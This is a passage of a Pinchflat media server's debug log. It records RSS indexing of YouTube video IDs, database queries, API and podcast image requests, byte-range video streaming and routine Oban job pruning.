IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 14:51:17.794 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:51:17.794 [debug] QUERY OK source="media_items" db=0.2ms idle=199.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:51:17.796 [debug] QUERY OK source="media_items" db=1.7ms idle=199.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 14:51:17.797 [debug] QUERY OK source="tasks" db=0.1ms idle=201.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [680, 3, ~U[2026-07-24 14:51:17Z], ~U[2026-07-24 14:51:17Z]] 14:51:17.797 [info] {"args":{"id":3},"id":677,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":203202,"event":"job:stop","queue_time":460119,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:51:17.798 [debug] QUERY OK source="tasks" db=0.2ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:51:21.254 [info] GET /api/v1/videos 14:51:21.254 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 14:51:21.275 [debug] QUERY OK source="media_items" db=21.6ms idle=662.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 14:51:21.329 [info] Sent 200 in 75ms 14:51:21.425 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 14:51:21.425 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 14:51:21.425 [debug] QUERY OK source="media_items" db=0.1ms idle=595.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 14:51:21.452 [info] Sent 200 in 27ms 14:51:26.959 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:45.313 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/episode_image.jpg 14:51:45.313 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 14:51:45.313 [debug] QUERY OK source="media_items" db=0.1ms idle=698.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 14:51:45.343 [info] Sent 200 in 30ms 14:51:45.575 [info] GET /media/d7148368-8a81-43d0-9042-4bae425b8c72/episode_image.jpg 14:51:45.575 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "d7148368-8a81-43d0-9042-4bae425b8c72"} Pipelines: [:maybe_basic_auth] 14:51:45.576 [debug] QUERY OK source="media_items" db=0.2ms idle=743.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d7148368-8a81-43d0-9042-4bae425b8c72"] 14:51:45.576 [info] Sent 200 in 563µs 14:51:45.807 [info] GET /media/755571a6-37b5-492e-bf09-cd1c4400778c/episode_image.jpg 14:51:45.807 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "755571a6-37b5-492e-bf09-cd1c4400778c"} Pipelines: [:maybe_basic_auth] 14:51:45.808 [debug] QUERY OK source="media_items" db=0.5ms idle=974.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["755571a6-37b5-492e-bf09-cd1c4400778c"] 14:51:45.808 [info] Sent 200 in 854µs 14:51:46.475 [info] GET /media/7fd74fd9-cb8c-478d-85f2-3fd6bde91084/episode_image.jpg 14:51:46.475 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "7fd74fd9-cb8c-478d-85f2-3fd6bde91084"} Pipelines: [:maybe_basic_auth] 14:51:46.475 [debug] QUERY OK source="media_items" db=0.2ms idle=1642.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7fd74fd9-cb8c-478d-85f2-3fd6bde91084"] 14:51:46.476 [info] Sent 200 in 639µs 14:51:47.011 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/episode_image.jpg 14:51:47.011 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:51:47.012 [debug] QUERY OK source="media_items" db=0.3ms idle=535.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:51:47.012 [info] Sent 200 in 802µs 14:51:48.529 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:51:48.529 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:51:48.530 [debug] QUERY OK source="media_items" db=0.1ms idle=1695.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:51:48.530 [debug] Invalid range request for media item: b839e67e-0013-48f6-8e2f-4671e743281b - serving full file 14:51:48.530 [info] Sent 200 in 483µs 14:51:48.636 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:51:48.636 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:51:48.636 [debug] QUERY OK source="media_items" db=0.1ms idle=1802.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:51:48.636 [debug] Streaming media item: b839e67e-0013-48f6-8e2f-4671e743281b from 604835 to 184167534 14:51:48.636 [info] Sent 206 in 474µs 14:51:56.960 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:56.980 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:51:56.981 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:51:56.981 [debug] QUERY OK source="media_items" db=0.1ms idle=1145.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:51:56.981 [debug] Streaming media item: b839e67e-0013-48f6-8e2f-4671e743281b from 448520 to 184167534 14:51:56.981 [info] Sent 206 in 465µs 14:51:57.015 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:51:57.015 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:51:57.015 [debug] QUERY OK source="media_items" db=0.1ms idle=386.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:51:57.015 [debug] Streaming media item: b839e67e-0013-48f6-8e2f-4671e743281b from 157080992 to 184167534 14:51:57.015 [info] Sent 206 in 454µs 14:51:57.711 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:51:57.711 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:51:57.711 [debug] QUERY OK source="media_items" db=0.1ms idle=875.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:51:57.711 [debug] Streaming media item: b839e67e-0013-48f6-8e2f-4671e743281b from 199044 to 184167534 14:51:57.711 [info] Sent 206 in 470µs 14:52:00.636 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:52:00.706 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:52:00.707 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:52:00.707 [debug] QUERY OK source="media_items" db=0.1ms idle=1871.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:52:00.707 [debug] Streaming media item: b839e67e-0013-48f6-8e2f-4671e743281b from 182462130 to 184167534 14:52:00.707 [info] Sent 206 in 564µs 14:52:26.961 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:56.962 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.637 [info] {"source":"oban","duration":313,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:53:26.963 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:56.964 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.638 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:54:09.672 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:54:09.673 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:54:09.673 [debug] QUERY OK source="media_items" db=0.1ms idle=1821.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:54:09.673 [debug] Invalid range request for media item: b839e67e-0013-48f6-8e2f-4671e743281b - serving full file 14:54:09.673 [info] Sent 200 in 449µs 14:54:09.752 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:54:09.752 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:54:09.752 [debug] QUERY OK source="media_items" db=0.1ms idle=988.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:54:09.752 [debug] Streaming media item: b839e67e-0013-48f6-8e2f-4671e743281b from 604835 to 184167534 14:54:09.752 [info] Sent 206 in 644µs 14:54:17.238 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:54:17.238 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:54:17.238 [debug] QUERY OK source="media_items" db=0.1ms idle=465.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:54:17.238 [debug] Invalid range request for media item: b839e67e-0013-48f6-8e2f-4671e743281b - serving full file 14:54:17.238 [info] Sent 200 in 575µs 14:54:17.320 [info] GET /media/b839e67e-0013-48f6-8e2f-4671e743281b/stream 14:54:17.320 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "b839e67e-0013-48f6-8e2f-4671e743281b"} Pipelines: [:maybe_basic_auth] 14:54:17.321 [debug] QUERY OK source="media_items" db=0.1ms idle=468.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["b839e67e-0013-48f6-8e2f-4671e743281b"] 14:54:17.321 [debug] Streaming media item: b839e67e-0013-48f6-8e2f-4671e743281b from 182462130 to 184167534 14:54:17.321 [info] Sent 206 in 672µs 14:54:26.965 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:27.822 [info] POST /api/v1/videos/6486/ignore 14:54:27.822 [debug] Processing with PinchflatWeb.Api.V1.VideoController.ignore/2 Parameters: %{"id" => "6486"} Pipelines: [:api_v1] 14:54:27.822 [debug] QUERY OK source="media_items" db=0.1ms idle=966.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6486] 14:54:27.823 [debug] QUERY OK source="tasks" db=0.1ms idle=967.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."media_item_id" = ?) AND (o1."state" IN (?,?,?,?,?,?,?)) [6486, "scheduled", "available", "executing", "retryable", "completed", "discarded", "cancelled"] 14:54:27.823 [debug] QUERY OK source="tasks" db=0.0ms idle=38.9ms DELETE FROM "tasks" WHERE "id" = ? [365] 14:54:27.826 [info] User scripts lifecyle file either not present or is empty. Skipping. 14:54:27.827 [debug] QUERY OK source="media_items" db=0.5ms idle=3.9ms UPDATE "media_items" SET "media_filepath" = ?, "prevent_download" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? [nil, true, nil, ~U[2026-07-24 14:54:27Z], 6486] 14:54:27.827 [info] Sent 204 in 4ms 14:54:27.846 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/episode_image.jpg 14:54:27.846 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 14:54:27.846 [debug] QUERY OK source="media_items" db=0.1ms idle=23.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 14:54:27.846 [info] Sent 200 in 437µs 14:54:56.966 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.639 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:55:26.967 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:56.968 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.640 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:56:26.969 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:56.970 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.641 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:57:26.970 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:56.972 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.642 [info] {"source":"oban","duration":301,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:58:26.973 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:56.974 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.643 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:59:26.975 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:56.976 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.644 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:00:26.977 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:49.185 [info] 